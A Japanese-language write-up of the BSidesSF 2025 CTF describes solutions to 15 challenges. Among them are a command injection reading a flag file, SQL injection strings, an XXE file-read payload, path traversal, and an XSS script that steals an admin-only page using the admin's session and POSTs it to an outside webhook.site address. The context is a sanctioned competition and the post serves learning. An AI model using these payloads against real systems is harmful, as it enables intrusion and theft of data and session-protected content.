BSidesSF 2025 CTF writeup
先日行われたBSidesSF 2025 CTFのメモ。解けた問題に対するアプローチや感想などをまとめる。 結果は57問中15問を解いて87位(チーム:4r0wana)。
| hangman-one (100 pts) - 260 solves
問題
与えられたWebサイトにアカウントを登録してログインすると、フラグを推測するページが表示される。
フラグ
CTF{hangm4nw1thfr1end5andf03s}
解法
フラグ内の文字を推測し、使用されている文字が当たればその箇所がオープンされる。4回間違えると、それ以上文字の推測ができなくなる。4回間違えれば、アカウントを新しく作って再度推測すればよい。

| toothless (100 pts) - 257 solves
問題
パケットキャプチャファイルが与えられる。
フラグ
CTF{y0u_us3l3ss_r3pt1l3}
解法
ICMPだけからなるパケットキャプチャファイルが与えられる。パケットのうち、no response found!というものを確認すると、怪しげなデータがある。これをbase64で復号したらフラグが得られた。

| meow (100 pts) - 330 solves
問題
Welcome問。Getting Startedのページに解法が書かれている。
フラグ
CTF{DontBeACheatAh}
解法
catコマンド打つだけだった。

| detector (100 pts) - 235 solves
問題
IPアドレスを検索できるようなWebサービスのURLが与えられる。
フラグ
CTF{tharr-be-draggggons}
解法
ソースを見ると、OSコマンドインジェクションができそうである。

問題文よりフラグパスは「/app/dragon-detector-ai」であるため、クエリパラメータ「ip」に対し、「$ip=; cat /app/dragon-detector-ai」を指定してやるとフラグが得られた。

| go-git-it (100 pts) - 188 solves
問題
git問。
フラグ
CTF{g0tt4_g!t_th4t}
解法
与えられたwebサイトのソースコードを確認すると、gtiディレクトリについて言及されている。

コミットログを確認すると、フラグが得られた。
$ wget --mirror --no-parent -R "index.html*" https://go-git-it-f7d62cbb.challenges.bsidessf.net/git/
$ mkdir reconstructed-repo
$ mv go-git-it-f7d62cbb.challenges.bsidessf.net/git reconstructed-repo/.git
$ cd reconstructed-repo
$ git reset --hard
$ git log --stat
commit b55daeb6bd7d20f5a36c4d01021e310be8cec716 (HEAD -> main)
Author: McLovin <mclovin@bsidessf.ctf>
Date: Sat Apr 12 02:46:32 2025 -0700
removed sensitive information
flag.html | 1 -
1 file changed, 1 deletion(-)
commit d7701d5752f6782b4f81cf1b3d955a4e25348b6a
Author: McLovin <mclovin@bsidessf.ctf>
Date: Sat Apr 12 02:46:05 2025 -0700
initial commit
flag.html | 1 +
index.html | 20 ++++++++++++++++++++
2 files changed, 21 insertions(+)
$ git show
commit b55daeb6bd7d20f5a36c4d01021e310be8cec716 (HEAD -> main)
Author: McLovin <mclovin@bsidessf.ctf>
Date: Sat Apr 12 02:46:32 2025 -0700
removed sensitive information
diff --git a/flag.html b/flag.html
deleted file mode 100644
index 61aa83d..0000000
--- a/flag.html
+++ /dev/null
@@ -1 +0,0 @@
-CTF{g0tt4_g!t_th4t}
| web-tutorial-1 (100 pts) - 133 solves
問題
XSS問。
フラグ
CTF{X55-1s-back-aga1n}
解法
/xss-one-flagにフラグがあるが、adminしかアクセスできない。adminに特定のペイロードを送信できるフォームがあり、次のペイロードを送信する。なお、ペイロードを中のURLはwebhook.siteを利用しており、webhook.siteを確認するとフラグが得られた。また、「credentials: "include"」にて、adminのログイン中の認証情報を付与するようにしている。
<script>
fetch('/xss-one-flag',{credentials:'include'}).then(r=>r.text()).then(d=>fetch('https://webhook.site/c271897b-789c-4ae8-81ed-16b7c2e00f87',{method:'POST',body:d}))
</script>

| dragon-name (100 pts) - 90 solves
問題
apkファイルが与えられる。
フラグ
CTF{w3akT0Fa1ryTyp3}
解法
apktoolでデコンパイルして出力されたリソースを確認していく。
$ apktool -d dragon-name.apk -o ./out_apk
「smali_classes4/com/example/dragonnames/MainActivity.smali」を調べると、怪しげな箇所がある。これについてChatGPTに質問すると、それらしい解説をしてくれた。

part4は次のコマンドから「Fa1ry」であることが分かる。また、part2は「w3ak」が正しい。
$ grep -i part4 out_apk/res/values/strings.xml
| taxonomy (100 pts) - 93 solves
問題
ドラゴン名を検索できるWebサイトのURLが与えられる。
フラグ
CTF{those-are-the-types-of-dragons}
解法
SQLiっぽいので、次のペイロードを入力するとエラーに。
' OR 1=1; #

ペイロードを次のとおり修正すると、Dragon-000が表示され、これにフラグがあった。
'); #

| hidden-reports (100 pts) - 192 solves
問題
パスワードを入力できるフォームがあるWebサイトのURLが与えられる。
フラグ
CTF{select-or-one-equals-one}
解法
SQLiっぽいので、「'」を入力するとエラーとなり、「' OR 1=1; --」でログインできた。

| evidence (100 pts) - 171 solves
問題
ファイルをアップロードできるWebサイトのURLが与えられる。
フラグ
CTF{aha-found-em}
解法
XMLインジェクションっぽい。問題文より/flag.txtにフラグがあるので、次の.xmlをアップロードするとフラグが出力された。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY xxe SYSTEM "file:///flag.txt"> ]> <data>&xxe;</data>

| subprime (100 pts) - 132 solves
問題
RSA問。
フラグ
CTF{n0n_0pt!m@l_pR!m3$}
解法
nが小さいため素因数分解可能である。暗号文はフラグ文字列を1文字ずつ暗号化したものである。ソルバーは次のとおり。
from Cryptodome.Util.number import long_to_bytes
p = 9883
q = 9973
e = 1009
n = 98563159
cipher = [23637004, 83925846, 2209113, 27583995, 30323096, 31771886, 30323096, 75901128, 31771886, 53482472, 97809030, 69683388, 68450410, 39905961, 75846723, 75901128, 53482472, 56293282, 69683388, 68450410, 63432789, 9450820, 81966837]
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
flag = ""
for c in cipher:
flag += long_to_bytes(pow(c, d, n)).decode()
print(flag)
| sighting (100 pts) - 120 solves
問題
ファイルをアップロードできるWebサイトのURLが与えられる。
フラグ
CTF{dotdotslashdotdot}
解法
トップページに表示されているドラゴンの画像について、ソースコードを確認するとpicture.phpの存在が分かる。

/picuture.php?file=/flag.txtとURLを指定するとフラグが得られた。

| obscuratron (100 pts) - 79 solves
問題
暗号化されたPDFファイルと暗号化に用いたプログラムが与えられる。
フラグ
CTF{xor-by-next-letter-isnt-crypto}
解法
暗号化のプログラムをghidraで確認すると、読み込んだ文字列やファイルに対し、最初の1バイト目は0xabとxorし、2バイト目以降はnバイト目とn-1バイト目をxorしていることが分かる。

pythonで次のようなソルバーを作成して実行すると、フラグが記載されたPDFファイルが復号された。
def xor_file(input_file_path, output_file_path):
with open(input_file_path, "rb") as infile:
with open(output_file_path, "wb") as outfile:
prev_byte = infile.read(1)
# 1バイト目は0xabとXORする
if prev_byte:
xor_result = ord(prev_byte)^0xab
outfile.write(bytes([xor_result]))
# 2バイト目以降はnバイト目をn-1バイト目とXORする
byte = infile.read(1)
while byte:
xor_result = ord(byte)^ord(prev_byte)
outfile.write(bytes([xor_result]))
prev_byte = byte
byte = infile.read(1)
input_file = "memo.pdf.enc"
output_file = "flag.pdf"
xor_file(input_file, output_file)
| detector-2 (100 pts) - 102 solves
問題
IPアドレスを検索できるようなwebサービスのURLが与えられる。
フラグ
CTF{tharr-be-MORE-draggggons}
解法
このようなペイロードだとはじかれてしまう。
; bash -c 'pwd'"
次のようなペイロードを入力するとフラグが得られた。
$(cat /app/dragon-detector-ai)

| 感想など
BSidesSF CTFは昨年度も参加していました。昨年度の個人的なメモによれば、どうやら2問しか解けていなかったようです。そういう意味では、今年度は多少成長が見られました(見事に100点問題のみしか解けていませんが)。